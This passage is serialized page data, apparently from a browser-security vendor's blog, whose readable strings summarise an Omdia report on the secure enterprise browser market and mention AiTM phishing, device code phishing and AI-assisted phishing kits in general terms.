277,"value":17221,"nodeType":865},{},[],{"data":30279,"content":30280,"nodeType":1570},{},[30281],{"data":30282,"content":30283,"nodeType":866},{},[30284],{"data":30285,"marks":30286,"value":17231,"nodeType":865},{},[],{"data":30288,"content":30289,"nodeType":1570},{},[30290],{"data":30291,"content":30292,"nodeType":866},{},[30293],{"data":30294,"marks":30295,"value":17241,"nodeType":865},{},[],{"data":30297,"content":30298,"nodeType":1570},{},[30299],{"data":30300,"content":30301,"nodeType":866},{},[30302],{"data":30303,"marks":30304,"value":17251,"nodeType":865},{},[],{"data":30306,"content":30307,"nodeType":866},{},[30308],{"data":30309,"marks":30310,"value":17258,"nodeType":865},{},[],{"data":30312,"content":30315,"nodeType":912},{"target":30313},{"sys":30314},{"id":12658,"type":909,"linkType":910},[],{"data":30317,"content":30318,"nodeType":866},{},[30319],{"data":30320,"marks":30321,"value":17270,"nodeType":865},{},[],{"data":30323,"content":30326,"nodeType":912},{"target":30324},{"sys":30325},{"id":17275,"type":909,"linkType":910},[],{"data":30328,"content":30329,"nodeType":972},{},[],{"data":30331,"content":30332,"nodeType":981},{},[30333],{"data":30334,"marks":30335,"value":17287,"nodeType":865},{},[30336],{"type":926},{"data":30338,"content":30339,"nodeType":866},{},[30340,30344],{"data":30341,"marks":30342,"value":17295,"nodeType":865},{},[30343],{"type":926},{"data":30345,"marks":30346,"value":17299,"nodeType":865},{},[],{"data":30348,"content":30349,"nodeType":866},{},[30350],{"data":30351,"marks":30352,"value":17306,"nodeType":865},{},[],{"data":30354,"content":30355,"nodeType":866},{},[30356,30360],{"data":30357,"marks":30358,"value":17314,"nodeType":865},{},[30359],{"type":926},{"data":30361,"marks":30362,"value":17318,"nodeType":865},{},[],{"data":30364,"content":30365,"nodeType":972},{},[],{"data":30367,"content":30368,"nodeType":981},{},[30369],{"data":30370,"marks":30371,"value":17329,"nodeType":865},{},[30372],{"type":926},{"data":30374,"content":30375,"nodeType":866},{},[30376,30379,30383],{"data":30377,"marks":30378,"value":17336,"nodeType":865},{},[],{"data":30380,"marks":30381,"value":17341,"nodeType":865},{},[30382],{"type":926},{"data":30384,"marks":30385,"value":17345,"nodeType":865},{},[],{"data":30387,"content":30388,"nodeType":866},{},[30389],{"data":30390,"marks":30391,"value":17352,"nodeType":865},{},[],{"data":30393,"content":30394,"nodeType":866},{},[30395],{"data":30396,"marks":30397,"value":17359,"nodeType":865},{},[],{"data":30399,"content":30400,"nodeType":972},{},[],{"data":30402,"content":30403,"nodeType":981},{},[30404],{"data":30405,"marks":30406,"value":17370,"nodeType":865},{},[30407],{"type":926},{"data":30409,"content":30410,"nodeType":866},{},[30411],{"data":30412,"marks":30413,"value":17377,"nodeType":865},{},[],{"data":30415,"content":30416,"nodeType":866},{},[30417,30420,30424],{"data":30418,"marks":30419,"value":17384,"nodeType":865},{},[],{"data":30421,"marks":30422,"value":17389,"nodeType":865},{},[30423],{"type":926},{"data":30425,"marks":30426,"value":17393,"nodeType":865},{},[],{"data":30428,"content":30431,"nodeType":912},{"target":30429},{"sys":30430},{"id":17398,"type":909,"linkType":910},[],{"data":30433,"content":30434,"nodeType":866},{},[30435,30438,30442],{"data":30436,"marks":30437,"value":17406,"nodeType":865},{},[],{"data":30439,"marks":30440,"value":17411,"nodeType":865},{},[30441],{"type":926},{"data":30443,"marks":30444,"value":17415,"nodeType":865},{},[],{"data":30446,"content":30447,"nodeType":866},{},[30448],{"data":30449,"marks":30450,"value":17422,"nodeType":865},{},[],{"data":30452,"content":30453,"nodeType":866},{},[30454],{"data":30455,"marks":30456,"value":17429,"nodeType":865},{},[],{"data":30458,"content":30459,"nodeType":866},{},[30460],{"data":30461,"marks":30462,"value":17436,"nodeType":865},{},[],{"data":30464,"content":30465,"nodeType":866},{},[30466,30469,30473],{"data":30467,"marks":30468,"value":17443,"nodeType":865},{},[],{"data":30470,"marks":30471,"value":17448,"nodeType":865},{},[30472],{"type":926},{"data":30474,"marks":30475,"value":17452,"nodeType":865},{},[],{"data":30477,"content":30478,"nodeType":866},{},[30479],{"data":30480,"marks":30481,"value":17459,"nodeType":865},{},[],{"data":30483,"content":30484,"nodeType":972},{},[],{"data":30486,"content":30487,"nodeType":981},{},[30488],{"data":30489,"marks":30490,"value":17470,"nodeType":865},{},[30491],{"type":926},{"data":30493,"content":30494,"nodeType":866},{},[30495],{"data":30496,"marks":30497,"value":17477,"nodeType":865},{},[],{"data":30499,"content":30500,"nodeType":866},{},[30501,30504,30508],{"data":30502,"marks":30503,"value":17484,"nodeType":865},{},[],{"data":30505,"marks":30506,"value":17489,"nodeType":865},{},[30507],{"type":926},{"data":30509,"marks":30510,"value":17493,"nodeType":865},{},[],{"data":30512,"content":30513,"nodeType":866},{},[30514],{"data":30515,"marks":30516,"value":17500,"nodeType":865},{},[],{"data":30518,"content":30519,"nodeType":972},{},[],{"data":30521,"content":30522,"nodeType":981},{},[30523],{"data":30524,"marks":30525,"value":17511,"nodeType":865},{},[30526],{"type":926},{"data":30528,"content":30529,"nodeType":866},{},[30530,30533,30537],{"data":30531,"marks":30532,"value":17518,"nodeType":865},{},[],{"data":30534,"marks":30535,"value":17523,"nodeType":865},{},[30536],{"type":926},{"data":30538,"marks":30539,"value":17527,"nodeType":865},{},[],{"data":30541,"content":30542,"nodeType":866},{},[30543],{"data":30544,"marks":30545,"value":17534,"nodeType":865},{},[],{"data":30547,"content":30548,"nodeType":866},{},[30549,30552,30559],{"data":30550,"marks":30551,"value":17541,"nodeType":865},{},[],{"data":30553,"content":30554,"nodeType":889},{"uri":17544},[30555],{"data":30556,"marks":30557,"value":17550,"nodeType":865},{},[30558],{"type":943},{"data":30560,"marks":30561,"value":17554,"nodeType":865},{},[],{"data":30563,"content":30564,"nodeType":866},{},[30565,30568],{"data":30566,"marks":30567,"value":17561,"nodeType":865},{},[],{"data":30569,"marks":30570,"value":17566,"nodeType":865},{},[30571],{"type":926},{"data":30573,"content":30574,"nodeType":972},{},[],{"data":30576,"content":30577,"nodeType":981},{},[30578],{"data":30579,"marks":30580,"value":17577,"nodeType":865},{},[30581],{"type":926},{"data":30583,"content":30584,"nodeType":866},{},[30585,30588,30592],{"data":30586,"marks":30587,"value":17584,"nodeType":865},{},[],{"data":30589,"marks":30590,"value":17589,"nodeType":865},{},[30591],{"type":926},{"data":30593,"marks":30594,"value":17593,"nodeType":865},{},[],{"data":30596,"content":30597,"nodeType":866},{},[30598],{"data":30599,"marks":30600,"value":17600,"nodeType":865},{},[],{"data":30602,"content":30603,"nodeType":866},{},[30604],{"data":30605,"marks":30606,"value":17607,"nodeType":865},{},[],{"data":30608,"content":30609,"nodeType":866},{},[30610],{"data":30611,"marks":30612,"value":17614,"nodeType":865},{},[],{"data":30614,"content":30615,"nodeType":866},{},[30616],{"data":30617,"marks":30618,"value":17621,"nodeType":865},{},[],{"data":30620,"content":30621,"nodeType":972},{},[],{"data":30623,"content":30624,"nodeType":866},{},[30625],{"data":30626,"marks":30627,"value":17631,"nodeType":865},{},[],{"data":30629,"content":30630,"nodeType":866},{},[30631],{"data":30632,"marks":30633,"value":1363,"nodeType":865},{},[],{"data":30635,"content":30636,"nodeType":866},{},[30637,30640,30647],{"data":30638,"marks":30639,"value":21,"nodeType":865},{},[],{"data":30641,"content":30642,"nodeType":889},{"uri":1372},[30643],{"data":30644,"marks":30645,"value":7011,"nodeType":865},{},[30646],{"type":943},{"data":30648,"marks":30649,"value":2302,"nodeType":865},{},[],{"entries":30651},{"hyperlink":30652,"inline":30653,"block":30654},[],[],[30655,30663,30700,30704,30733],{"sys":30656,"__typename":1390,"title":30657,"caption":30658,"layoutMode":59,"file":30659},{"id":17120},"Omdia report key stats infographic","Headline stats from the latest Omdia report.",{"url":30660,"width":30661,"height":30662},"https://images.ctfassets.net/y1cdw1ablpvd/62TiADpvI65W2gT7RQwlOU/a4aaad376574b1cd963fc0afa5e2942d/omdia-browser-security-infographic_2x__2_.png",1700,1434,{"sys":30664,"__typename":5503,"content":30665,"name":30699,"title":59},{"id":17160},{"json":30666},{"nodeType":1382,"data":30667,"content":30668},{},[30669],{"nodeType":866,"data":30670,"content":30671},{},[30672,30676,30683,30687,30695],{"nodeType":865,"value":30673,"marks":30674,"data":30675},"The evidence here isn’t just statistics. The real-world breaches attributed to ",[],{},{"nodeType":889,"data":30677,"content":30678},{"uri":4991},[30679],{"nodeType":865,"value":8673,"marks":30680,"data":30682},[30681],{"type":943},{},{"nodeType":865,"value":30684,"marks":30685,"data":30686},", including the ",[],{},{"nodeType":889,"data":30688,"content":30689},{"uri":3820},[30690],{"nodeType":865,"value":30691,"marks":30692,"data":30694},"ShinyHunters-branded 2026 hacking spree",[30693],{"type":943},{},{"nodeType":865,"value":30696,"marks":30697,"data":30698},", clearly underline the real-world threat. ",[],{},"Omdia report IB1",{"sys":30701,"__typename":1414,"type":1415,"ctaText":30702,"buttonLabel":30703,"buttonColour":1418,"buttonUrl":1419},{"id":12658},"Get our latest technical whitepaper to learn about the state of browser-based attacks in 2026 (no sign-up required).","Download Now",{"sys":30705,"__typename":5503,"content":30706,"name":30732,"title":59},{"id":17275},{"json":30707},{"data":30708,"content":30709,"nodeType":1382},{},[30710],{"data":30711,"content":30712,"nodeType":866},{},[30713,30717,30728],{"data":30714,"marks":30715,"value":30716,"nodeType":865},{},[],"It's worth noting that AiTM — now the dominant phishing technique in the wild,",{"data":30718,"content":30719,"nodeType":889},{"uri":6347},[30720,30723],{"data":30721,"marks":30722,"value":2688,"nodeType":865},{},[],{"data":30724,"marks":30725,"value":30727,"nodeType":865},{},[30726],{"type":943},"responsible for 62% of phishing blocked by Microsoft",{"data":30729,"marks":30730,"value":30731,"nodeType":865},{},[]," — shows up at just 17% in Omdia's data. That likely reflects a recognition gap rather than low prevalence: most organizations lack the browser-layer visibility to distinguish an AiTM reverse-proxy attack from a conventional phishing page, which means the real AiTM figure is probably buried inside the 40% who reported phishing generally.","Omdia report IB2",{"sys":30734,"__typename":5503,"content":30735,"name":30770,"title":59},{"id":17398},{"json":30736},{"nodeType":1382,"data":30737,"content":30738},{},[30739],{"nodeType":866,"data":30740,"content":30741},{},[30742,30746,30754,30758,30766],{"nodeType":865,"value":30743,"marks":30744,"data":30745},"This is something we’re seeing extensively in the wild. Just about every phishing kit we encounter today is packed with signs of AI use. You can see our ",[],{},{"nodeType":889,"data":30747,"content":30748},{"uri":13633},[30749],{"nodeType":865,"value":30750,"marks":30751,"data":30753},"recent analysis of the Doko’s Panel real-time vishing + AitM kit",[30752],{"type":943},{},{"nodeType":865,"value":30755,"marks":30756,"data":30757}," for one example of this. AI development of kits and tools is rapidly driving down the time for attackers to adopt and scale new capabilities — the ",[],{},{"nodeType":889,"data":30759,"content":30760},{"uri":1951},[30761],{"nodeType":865,"value":30762,"marks":30763,"data":30765},"37x increase in device code phishing in 2026",[30764],{"type":943},{},{"nodeType":865,"value":30767,"marks":30768,"data":30769}," being another indicator of this (we've observed heavy AI tool use across multiple kits and campaigns, with the EvilTokens kit gaining particular notoriety for its abuse of the Railway platform's AI features).",[],{},"Omdia report IB3",{"items":30772},[],{},"7 things Omdia's latest report tells us about the SEB market",{"items":30776},[30777,31449,31891],{"__typename":1429,"sys":30778,"content":30779,"title":25283,"synopsis":25284,"hashTags":59,"publishedDate":17656,"slug":25285,"tagsCollection":31439,"authorsCollection":31445},{"id":24517},{"json":30780},{"data":30781,"content":30782,"nodeType":1382},{},[30783,30788,30794,30800,30806,30809,30816,30822,30832,30842,30847,30853,30856,30863,30869,30874,30880,30886,30979,30985,30988,30995,31001,31056,31069,31074,31080,31083,31090,31096,31103,31109,31115,31140,31146,31153,31159,31165,31171,31178,31184,31190,31196,31199,31206,31216,31222,31228,31235,31241,31247,31254,31260,31315,31328,31343,31350,31356,31363,31369,31375,31381,31386,31393,31399,31405,31410,31416,31422,31428,31433],{"data":30784,"content":30787,"nodeType":912},{"target":30785},{"sys":30786},{"id":24526,"type":909,"linkType":910},[],{"data":30789,"content":30790,"nodeType":866},{},[30791],{"data":30792,"marks":30793,"value":24534,"nodeType":865},{},[],{"data":30795,"content":30796,"nodeType":866},{},[30797],{"data":30798,"marks":30799,"value":24541,"nodeType":865},{},[],{"data":30801,"content":30802,"nodeType":866},{},[30803],{"data":30804,"marks":30805,"value":24548,"nodeType":865},{},[],{"data":30807,"content":30808,"nodeType":972},{},[],{"data":30810,"content":30811,"nodeType":981},{},[30812],{"data":30813,"marks":30814,"value":24559,"nodeType":865},{},[30815],{"type":926},{"data":30817,"content":30818,"nodeType":866},{},[30819],{"data":30820,"marks":30821,"value":24566,"nodeType":865},{},[],{"data":30823,"content":30824,"nodeType":866},{},[30825,30829],{"data":30826,"marks":30827,"value":24574,"nodeType":865},{},[30828],{"type":926},{"data":30830,"marks":30831,"value":24578,"nodeType":865},{},[],{"data":30833,"content":30834,"nodeType":866},{},[30835,30839],{"data":30836,"marks":30837,"value":24586,"nodeType":865},{},[30838],{"type":926},{"data":30840,"marks":30841,"value":24590,"nodeType":865},{},[],{"data":30843,"content":30846,"nodeType":912},{"target":30844},{"sys":30845},{"id":12658,"type":909,"linkType":910},[],{"data":30848,"content":30849,"nodeType":866},{},[30850],{"data":30851,"marks":30852,"value":24602,"nodeType":865},{},[],{"data":30854,"content":30855,"nodeType":972},{},[],{"data":30857,"content":30858,"nodeType":981},{},[30859],{"data":30860,"marks":30861,"value":24613,"nodeType":865},{},[30862],{"type":926},{"data":30864,"content":30865,"nodeType":866},{},[30866],{"data":30867,"marks":30868,"value":24620,"nodeType":865},{},[],{"data":30870,"content":30873,"nodeType":912},{"target":30871},{"sys":30872},{"id":24625,"type":909,"linkType":910},[],{"data":30875,"content":30876,"nodeType":866},{},[30877],{"data":30878,"marks":30879,"value":24633,"nodeType":865},{},[],{"data":30881,"content":30882,"nodeType":866},{},[30883],{"data":30884,"marks":30885,"value":24640,"nodeType":865},{},[],{"data":30887,"content":30888,"nodeType":1616},{},[30889,30905,30921,30937,30953,30966],{"data":30890,"content":30891,"nodeType":1570},{},[30892],{"data":30893,"content":30894,"nodeType":866},{},[30895,30898,30902],{"data":30896,"marks":30897,"value":24653,"nodeType":865},{},[],{"data":30899,"marks":30900,"value":23998,"nodeType":865},{},[30901],{"type":926},{"data":30903,"marks":30904,"value":24661,"nodeType":865},{},[],{"data":30906,"content":30907,"nodeType":1570},{},[30908],{"data":30909,"content":30910,"nodeType":866},{},[30911,30914,30918],{"data":30912,"marks":30913,"value":24671,"nodeType":865},{},[],{"data":30915,"marks":30916,"value":24676,"nodeType":865},{},[30917],{"type":926},{"data":30919,"marks":30920,"value":24680,"nodeType":865},{},[],{"data":30922,"content":30923,"nodeType":1570},{},[30924],{"data":30925,"content":30926,"nodeType":866},{},[30927,30930,30934],{"data":30928,"marks":30929,"value":24690,"nodeType":865},{},[],{"data":30931,"marks":30932,"value":24695,"nodeType":865},{},[30933],{"type":926},{"data":30935,"marks":30936,"value":24699,"nodeType":865},{},[],{"data":30938,"content":30939,"nodeType":1570},{},[30940],{"data":30941,"content":30942,"nodeType":866},{},[30943,30946,30950],{"data":30944,"marks":30945,"value":24709,"nodeType":865},{},[],{"data":30947,"marks":30948,"value":24714,"nodeType":865},{},[30949],{"type":926},{"data":30951,"marks":30952,"value":24718,"nodeType":865},{},[],{"data":30954,"content":30955,"nodeType":1570},{},[30956],{"data":30957,"content":30958,"nodeType":866},{},[30959,30963],{"data":30960,"marks":30961,"value":4757,"nodeType":865},{},[30962],{"type":926},{"data":30964,"marks":30965,"value":24732,"nodeType":865},{},[],{"data":30967,"content":30968,"nodeType":1570},{},[30969],{"data":30970,"content":30971,"nodeType":866},{},[30972,30976],{"data":30973,"marks":30974,"value":24743,"nodeType":865},{},[30975],{"type":926},{"data":30977,"marks":30978,"value":24747,"nodeType":865},{},[],{"data":30980,"content":30981,"nodeType":866},{},[30982],{"data":30983,"marks":30984,"value":24754,"nodeType":865},{},[],{"data":30986,"content":30987,"nodeType":972},{},[],{"data":30989,"content":30990,"nodeType":1317},{},[30991],{"data":30992,"marks":30993,"value":24765,"nodeType":865},{},[30994],{"type":926},{"data":30996,"content":30997,"nodeType":866},{},[30998],{"data":30999,"marks":31000,"value":24772,"nodeType":865},{},[],{"data":31002,"content":31003,"nodeType":1616},{},[31004,31017,31030,31043],{"data":31005,"content":31006,"nodeType":1570},{},[31007],{"data":31008,"content":31009,"nodeType":866},{},[31010,31013],{"data":31011,"marks":31012,"value":24785,"nodeType":865},{},[],{"data":31014,"marks":31015,"value":24790,"nodeType":865},{},[31016],{"type":926},{"data":31018,"content":31019,"nodeType":1570},{},[31020],{"data":31021,"content":31022,"nodeType":866},{},[31023,31026],{"data":31024,"marks":31025,"value":24800,"nodeType":865},{},[],{"data":31027,"marks":31028,"value":24805,"nodeType":865},{},[31029],{"type":926},{"data":31031,"content":31032,"nodeType":1570},{},[31033],{"data":31034,"content":31035,"nodeType":866},{},[31036,31039],{"data":31037,"marks":31038,"value":24815,"nodeType":865},{},[],{"data":31040,"marks":31041,"value":24820,"nodeType":865},{},[31042],{"type":926},{"data":31044,"content":31045,"nodeType":1570},{},[31046],{"data":31047,"content":31048,"nodeType":866},{},[31049,31052],{"data":31050,"marks":31051,"value":24830,"nodeType":865},{},[],{"data":31053,"marks":31054,"value":24835,"nodeType":865},{},[31055],{"type":926},{"data":31057,"content":31058,"nodeType":866},{},[31059,31062,31066],{"data":31060,"marks":31061,"value":24842,"nodeType":865},{},[],{"data":31063,"marks":31064,"value":24847,"nodeType":865},{},[31065],{"type":926},{"data":31067,"marks":31068,"value":24851,"nodeType":865},{},[],{"data":31070,"content":31073,"nodeType":912},{"target":31071},{"sys":31072},{"id":24856,"type":909,"linkType":910},[],{"data":31075,"content":31076,"nodeType":866},{},[31077],{"data":31078,"marks":31079,"value":24864,"nodeType":865},{},[],{"data":31081,"content":31082,"nodeType":972},{},[],{"data":31084,"content":31085,"nodeType":981},{},[31086],{"data":31087,"marks":31088,"value":24875,"nodeType":865},{},[31089],{"type":926},{"data":31091,"content":31092,"nodeType":866},{},[31093],{"data":31094,"marks":31095,"value":24882,"nodeType":865},{},[],{"data":31097,"content":31098,"nodeType":1317},{},[31099],{"data":31100,"marks":31101,"value":24890,"nodeType":865},{},[31102],{"type":926},{"data":31104,"content":31105,"nodeType":866},{},[31106],{"data":31107,"marks":31108,"value":24897,"nodeType":865},{},[],{"data":31110,"content":31111,"nodeType":866},{},[31112],{"data":31113,"marks":31114,"value":24904,"nodeType":865},{},[],{"data":31116,"content":31117,"nodeType":866},{},[31118,31121,31127,31130,31137],{"data":31119,"marks":31120,"value":24911,"nodeType":865},{},[],{"data":31122,"content":31123,"nodeType":889},{"uri":3963},[31124],{"data":31125,"marks":31126,"value":24918,"nodeType":865},{},[],{"data":31128,"marks":31129,"value":24922,"nodeType":865},{},[],{"data":31131,"content":31132,"nodeType":889},{"uri":24925},[31133],{"data":31134,"marks":31135,"value":24931,"nodeType":865},{},[31136],{"type":943},{"data":31138,"marks":31139,"value":24935,"nodeType":865},{},[],{"data":31141,"content":31142,"nodeType":866},{},[31143],{"data":31144,"marks":31145,"value":24942,"nodeType":865},{},[],{"data":31147,"content":31148,"nodeType":1317},{},[31149],{"data":31150,"marks":31151,"value":24950,"nodeType":865},{},[31152],{"type":926},{"data":31154,"content":31155,"nodeType":866},{},[31156],{"data":31157,"marks":31158,"value":24957,"nodeType":865},{},[],{"data":31160,"content":31161,"nodeType":866},{},[31162],{"data":31163,"marks":31164,"value":24964,"nodeType":865},{},[],{"data":31166,"content":31167,"nodeType":866},{},[31168],{"data":31169,"marks":31170,"value":24971,"nodeType":865},{},[],{"data":31172,"content":31173,"nodeType":1317},{},[31174],{"data":31175,"marks":31176,"value":24979,"nodeType":865},{},[31177],{"type":926},{"data":31179,"content":31180,"nodeType":866},{},[31181],{"data":31182,"marks":31183,"value":24986,"nodeType":865},{},[],{"data":31185,"content":31186,"nodeType":866},{},[31187],{"data":31188,"marks":31189,"value":24993,"nodeType":865},{},[],{"data":31191,"content":31192,"nodeType":866},{},[31193],{"data":31194,"marks":31195,"value":25000,"nodeType":865},{},[],{"data":31197,"content":31198,"nodeType":972},{},[],{"data":31200,"content":31201,"nodeType":981},{},[31202],{"data":31203,"marks":31204,"value":25011,"nodeType":865},{},[31205],{"type":926},{"data":31207,"content":31208,"nodeType":866},{},[31209,31213],{"data":31210,"marks":31211,"value":25019,"nodeType":865},{},[31212],{"type":926},{"data":31214,"marks":31215,"value":25023,"nodeType":865},{},[],{"data":31217,"content":31218,"nodeType":866},{},[31219],{"data":31220,"marks":31221,"value":25030,"nodeType":865},{},[],{"data":31223,"content":31224,"nodeType":866},{},[31225],{"data":31226,"marks":31227,"value":25037,"nodeType":865},{},[],{"data":31229,"content":31230,"nodeType":1317},{},[31231],{"data":31232,"marks":31233,"value":25045,"nodeType":865},{},[31234],{"type":926},{"data":31236,"content":31237,"nodeType":866},{},[31238],{"data":31239,"marks":31240,"value":25052,"nodeType":865},{},[],{"data":31242,"content":31243,"nodeType":866},{},[31244],{"data":31245,"marks":31246,"value":25059,"nodeType":865},{},[],{"data":31248,"content":31249,"nodeType":1317},{},[31250],{"data":31251,"marks":31252,"value":25067,"nodeType":865},{},[31253],{"type":926},{"data":31255,"content":31256,"nodeType":866},{},[31257],{"data":31258,"marks":31259,"value":25074,"nodeType":865},{},[],{"data":31261,"content":31262,"nodeType":1616},{},[31263,31276,31289,31302],{"data":31264,"content":31265,"nodeType":1570},{},[31266],{"data":31267,"content":31268,"nodeType":866},{},[31269,31273],{"data":31270,"marks":31271,"value":25088,"nodeType":865},{},[31272],{"type":926},{"data":31274,"marks":31275,"value":25092,"nodeType":865},{},[],{"data":31277,"content":31278,"nodeType":1570},{},[31279],{"data":31280,"content":31281,"nodeType":866},{},[31282,31286],{"data":31283,"marks":31284,"value":25103,"nodeType":865},{},[31285],{"type":926},{"data":31287,"marks":31288,"value":25107,"nodeType":865},{},[],{"data":31290,"content":31291,"nodeType":1570},{},[31292],{"data":31293,"content":31294,"nodeType":866},{},[31295,31299],{"data":31296,"marks":31297,"value":25118,"nodeType":865},{},[31298],{"type":926},{"data":31300,"marks":31301,"value":25122,"nodeType":865},{},[],{"data":31303,"content":31304,"nodeType":1570},{},[31305],{"data":31306,"content":31307,"nodeType":866},{},[31308,31312],{"data":31309,"marks":31310,"value":25133,"nodeType":865},{},[31311],{"type":926},{"data":31313,"marks":31314,"value":25137,"nodeType":865},{},[],{"data":31316,"content":31317,"nodeType":866},{},[31318,31321,31325],{"data":31319,"marks":31320,"value":25144,"nodeType":865},{},[],{"data":31322,"marks":31323,"value":25149,"nodeType":865},{},[31324],{"type":926},{"data":31326,"marks":31327,"value":25153,"nodeType":865},{},[],{"data":31329,"content":31330,"nodeType":866},{},[31331,31334,31340],{"data":31332,"marks":31333,"value":25160,"nodeType":865},{},[],{"data":31335,"content":31336,"nodeType":889},{"uri":1902},[31337],{"data":31338,"marks":31339,"value":25167,"nodeType":865},{},[],{"data":31341,"marks":31342,"value":25171,"nodeType":865},{},[],{"data":31344,"content":31345,"nodeType":1317},{},[31346],{"data":31347,"marks":31348,"value":25179,"nodeType":865},{},[31349],{"type":926},{"data":31351,"content":31352,"nodeType":866},{},[31353],{"data":31354,"marks":31355,"value":25186,"nodeType":865},{},[],{"data":31357,"content":31358,"nodeType":866},{},[31359],{"data":31360,"marks":31361,"value":25194,"nodeType":865},{},[31362],{"type":926},{"data":31364,"content":31365,"nodeType":866},{},[31366],{"data":31367,"marks":31368,"value":25201,"nodeType":865},{},[],{"data":31370,"content":31371,"nodeType":866},{},[31372],{"data":31373,"marks":31374,"value":25208,"nodeType":865},{},[],{"data":31376,"content":31377,"nodeType":866},{},[31378],{"data":31379,"marks":31380,"value":25215,"nodeType":865},{},[],{"data":31382,"content":31385,"nodeType":912},{"target":31383},{"sys":31384},{"id":25220,"type":909,"linkType":910},[],{"data":31387,"content":31388,"nodeType":1317},{},[31389],{"data":31390,"marks":31391,"value":25229,"nodeType":865},{},[31392],{"type":926},{"data":31394,"content":31395,"nodeType":866},{},[31396],{"data":31397,"marks":31398,"value":25236,"nodeType":865},{},[],{"data":31400,"content":31401,"nodeType":866},{},[31402],{"data":31403,"marks":31404,"value":25243,"nodeType":865},{},[],{"data":31406,"content":31409,"nodeType":912},{"target":31407},{"sys":31408},{"id":25248,"type":909,"linkType":910},[],{"data":31411,"content":31412,"nodeType":866},{},[31413],{"data":31414,"marks":31415,"value":25256,"nodeType":865},{},[],{"data":31417,"content":31418,"nodeType":866},{},[31419],{"data":31420,"marks":31421,"value":25263,"nodeType":865},{},[],{"data":31423,"content":31424,"nodeType":866},{},[31425],{"data":31426,"marks":31427,"value":25270,"nodeType":865},{},[],{"data":31429,"content":31432,"nodeType":912},{"target":31430},{"sys":31431},{"id":25275,"type":909,"linkType":910},[],{"data":31434,"content":31435,"nodeType":866},{},[31436],{"data":31437,"marks":31438,"value":21,"nodeType":865},{},[],{"items":31440},[31441,31443],{"sys":31442,"name":297},{"id":2310},{"sys":31444,"name":2314},{"id":2313},{"items":31446},[31447],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":31448},{"url":4618},{"__typename":1429,"sys":31450,"content":31451,"title":7015,"synopsis":7016,"hashTags":59,"publishedDate":7017,"slug":7018,"tagsCollection":31881,"authorsCollection":31887},{"id":6506},{"json":31452},{"data":31453,"content":31454,"nodeType":1382},{},[31455,31462,31486,31491,31497,31512,31525,31528,31535,31548,31564,31584,31589,31602,31626,31631,31636,31649,31652,31659,31665,31672,31688,31701,31708,31730,31736,31743,31767,31773,31780,31786,31791,31794,31801,31807,31814,31819,31822,31829,31835,31841,31847,31857,31860,31866],{"data":31456,"content":31457,"nodeType":981},{},[31458],{"data":31459,"marks":31460,"value":6518,"nodeType":865},{},[31461],{"type":926},{"data":31463,"content":31464,"nodeType":866},{},[31465,31468,31474,31477,31483],{"data":31466,"marks":31467,"value":6525,"nodeType":865},{},[],{"data":31469,"content":31470,"nodeType":889},{"uri":6528},[31471],{"data":31472,"marks":31473,"value":6533,"nodeType":865},{},[],{"data":31475,"marks":31476,"value":6537,"nodeType":865},{},[],{"data":31478,"content":31479,"nodeType":889},{"uri":6540},[31480],{"data":31481,"marks":31482,"value":6545,"nodeType":865},{},[],{"data":31484,"marks":31485,"value":6549,"nodeType":865},{},[],{"data":31487,"content":31490,"nodeType":912},{"target":31488},{"sys":31489},{"id":6554,"type":909,"linkType":910},[],{"data":31492,"content":31493,"nodeType":866},{},[31494],{"data":31495,"marks":31496,"value":6562,"nodeType":865},{},[],{"data":31498,"content":31499,"nodeType":866},{},[31500,31503,31509],{"data":31501,"marks":31502,"value":6569,"nodeType":865},{},[],{"data":31504,"content":31505,"nodeType":889},{"uri":6572},[31506],{"data":31507,"marks":31508,"value":6577,"nodeType":865},{},[],{"data":31510,"marks":31511,"value":6581,"nodeType":865},{},[],{"data":31513,"content":31514,"nodeType":866},{},[31515,31518,31522],{"data":31516,"marks":31517,"value":6588,"nodeType":865},{},[],{"data":31519,"marks":31520,"value":6593,"nodeType":865},{},[31521],{"type":926},{"data":31523,"marks":31524,"value":1615,"nodeType":865},{},[],{"data":31526,"content":31527,"nodeType":972},{},[],{"data":31529,"content":31530,"nodeType":981},{},[31531],{"data":31532,"marks":31533,"value":6607,"nodeType":865},{},[31534],{"type":926},{"data":31536,"content":31537,"nodeType":866},{},[31538,31541,31545],{"data":31539,"marks":31540,"value":6614,"nodeType":865},{},[],{"data":31542,"marks":31543,"value":6619,"nodeType":865},{},[31544],{"type":898},{"data":31546,"marks":31547,"value":1615,"nodeType":865},{},[],{"data":31549,"content":31550,"nodeType":866},{},[31551,31554,31561],{"data":31552,"marks":31553,"value":6629,"nodeType":865},{},[],{"data":31555,"content":31556,"nodeType":889},{"uri":6347},[31557],{"data":31558,"marks":31559,"value":6637,"nodeType":865},{},[31560],{"type":943},{"data":31562,"marks":31563,"value":6641,"nodeType":865},{},[],{"data":31565,"content":31566,"nodeType":866},{},[31567,31570,31574,31577,31581],{"data":31568,"marks":31569,"value":6648,"nodeType":865},{},[],{"data":31571,"marks":31572,"value":6653,"nodeType":865},{},[31573],{"type":926},{"data":31575,"marks":31576,"value":6657,"nodeType":865},{},[],{"data":31578,"marks":31579,"value":6662,"nodeType":865},{},[31580],{"type":898},{"data":31582,"marks":31583,"value":6666,"nodeType":865},{},[],{"data":31585,"content":31588,"nodeType":912},{"target":31586},{"sys":31587},{"id":6671,"type":909,"linkType":910},[],{"data":31590,"content":31591,"nodeType":866},{},[31592,31595,31599],{"data":31593,"marks":31594,"value":6679,"nodeType":865},{},[],{"data":31596,"marks":31597,"value":6684,"nodeType":865},{},[31598],{"type":926},{"data":31600,"marks":31601,"value":6688,"nodeType":865},{},[],{"data":31603,"content":31604,"nodeType":866},{},[31605,31608,31614,31617,31623],{"data":31606,"marks":31607,"value":6695,"nodeType":865},{},[],{"data":31609,"content":31610,"nodeType":889},{"uri":6698},[31611],{"data":31612,"marks":31613,"value":6703,"nodeType":865},{},[],{"data":31615,"marks":31616,"value":6707,"nodeType":865},{},[],{"data":31618,"content":31619,"nodeType":889},{"uri":6710},[31620],{"data":31621,"marks":31622,"value":6715,"nodeType":865},{},[],{"data":31624,"marks":31625,"value":6719,"nodeType":865},{},[],{"data":31627,"content":31630,"nodeType":912},{"target":31628},{"sys":31629},{"id":6724,"type":909,"linkType":910},[],{"data":31632,"content":31635,"nodeType":912},{"target":31633},{"sys":31634},{"id":6730,"type":909,"linkType":910},[],{"data":31637,"content":31638,"nodeType":866},{},[31639,31642,31646],{"data":31640,"marks":31641,"value":6738,"nodeType":865},{},[],{"data":31643,"marks":31644,"value":6743,"nodeType":865},{},[31645],{"type":926},{"data":31